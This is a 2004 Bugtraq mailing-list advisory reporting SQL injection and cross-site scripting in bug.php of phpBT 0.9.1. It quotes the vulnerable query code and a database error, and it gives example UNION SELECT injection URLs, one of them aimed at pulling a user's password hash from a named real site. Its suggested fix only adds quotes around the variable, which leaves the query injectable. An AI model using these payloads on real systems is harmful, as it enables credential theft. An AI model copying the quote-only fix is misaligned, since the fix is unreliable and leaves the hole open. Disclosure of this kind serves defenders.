SQL Injection in phpBT (bug.php)

From: jessica soules (admin_at_howdark.com)
Date: 11/13/04

  • Next message: jessica soules: "phpBB Code EXEC (v2.0.10)"
    Date: 13 Nov 2004 03:03:09 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

     _ _ ______ _
    | | | | | _ \ | |
    | |_| | _____ __ | | | |__ _ _ __| | __
    | _ |/ _ \ \ /\ / / | | | / _` | '__| |/ /
    | | | | (_) \ V V / | |/ / (_| | | | <
    \_| |_/\___/ \_/\_/ |___/ \__,_|_| |_|\_\
    http://www.howdark.com

    ----------------------------------------------------------------------------------------------------------------------------------
    // Information
    ----------------------------------------------------------------------------------------------------------------------------------

    Author: How Dark
    Date: November 13, 2004
    URL: http://www.howdark.com

    Affected Software: PHP Bug Traq
    Software Version: 0.9.1
    Software URL: http://phpbt.sourceforge.net/

    Attack: SQL Injection, allowing people to minipulate the query into pulling data
                            they should not previously be able too obtain. (Such as passwords)

                            XSS, cross site scripting leaving cookie data to vunerable.

    Description: bug_id variable is left open. xss on display of id.

    ----------------------------------------------------------------------------------------------------------------------------------

    xxx

    ----------------------------------------------------------------------------------------------------------------------------------
    // Description
    ----------------------------------------------------------------------------------------------------------------------------------

    For viewing the votes placed on a bug, the bug_id variable is left open.

    ----------------------------------------------------------------------------------------------------------------------------------

    xxx

    ----------------------------------------------------------------------------------------------------------------------------------
    // URL
    ----------------------------------------------------------------------------------------------------------------------------------

    bug.php?op=viewvotes
    bug.php?op=viewvotes&bugid=1 union select 1,2,3/*
    bug.php?op=viewvotes&bugid=1 union select 1,2,3/*%20 XSS here
    http://www.phpbb.com/bugs/bug.php?op=viewvotes&bugid=1 union select 1,user_password,3 where user_id='2'/*

    ----------------------------------------------------------------------------------------------------------------------------------

    xxx

    ----------------------------------------------------------------------------------------------------------------------------------
    // Code
    ----------------------------------------------------------------------------------------------------------------------------------
                            
    [ Line 29 - 37 ]

            function vote_view($bug_id) {
                    global $u, $db, $t, $STRING;

                    $t->assign('votes', $db->getAll('select login, v.created_date '.
                            'from '.TBL_AUTH_USER.' u, '.TBL_BUG_VOTE." v ".
                            "where u.user_id = v.user_id and bug_id = $bug_id ".
                            'order by v.created_date'));
                    $t->wrap('bugvotes.html', 'bugvotes');
            }

    ----------------------------------------------------------------------------------------------------------------------------------
    // Code
    ----------------------------------------------------------------------------------------------------------------------------------

    xxx

    ----------------------------------------------------------------------------------------------------------------------------------
    // SQL Error
    ----------------------------------------------------------------------------------------------------------------------------------

    DB Error: syntax error
    SELECT u.user_id, username as login, v.created_date FROM phpbb_users u, phpbt_bug_vote v WHERE u.user_id = v.user_id AND bug_id = 2864' ORDER BY v.created_date [nativecode=1064 ** You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY v.created_date' at line 1]

    ----------------------------------------------------------------------------------------------------------------------------------

    xxx

    ----------------------------------------------------------------------------------------------------------------------------------
    // Fix
    ----------------------------------------------------------------------------------------------------------------------------------

    Find: [ Line 34 ] "where u.user_id = v.user_id and bug_id = $bug_id ".
    Replace: [ Line 34 ] "where u.user_id = v.user_id and bug_id = '$bug_id' ".

    ----------------------------------------------------------------------------------------------------------------------------------

    xxx

    ;eof


  • Next message: jessica soules: "phpBB Code EXEC (v2.0.10)"

    Relevant Pages

    • Re: Why is C Standard Code Example Invalid?
      ... declaration of the complete type of the union is visible. ... visible union that contains them both, the compiler is at liberty to ... The C Standard says this a bug in the program rather than ...
      (comp.std.c)
    • very nasty problem .. please help
      ... I believe this is a bug in SQL7, ... The big problem is that the reporting tool used to get data from this table, ... UNION ALL SELECT 2 ...
      (microsoft.public.sqlserver.programming)
    • Re: Urgent: Strange Exception on SQL7 but not on SQL2000
      ... Either data corruptions or bug. ... > ISNULLFROM Sales ... > UNION ALL SELECT 2 ... > SELECT boekjr, artcode, periode, omzet, cumul_artikel ...
      (microsoft.public.sqlserver.server)
    • Re: Here is the query
      ... Please disregard my earlier posting asking for the repro. ... using had a bug that we fixed in at least SQL Server 2005, ... I have started using UNION ...
      (microsoft.public.sqlserver.xml)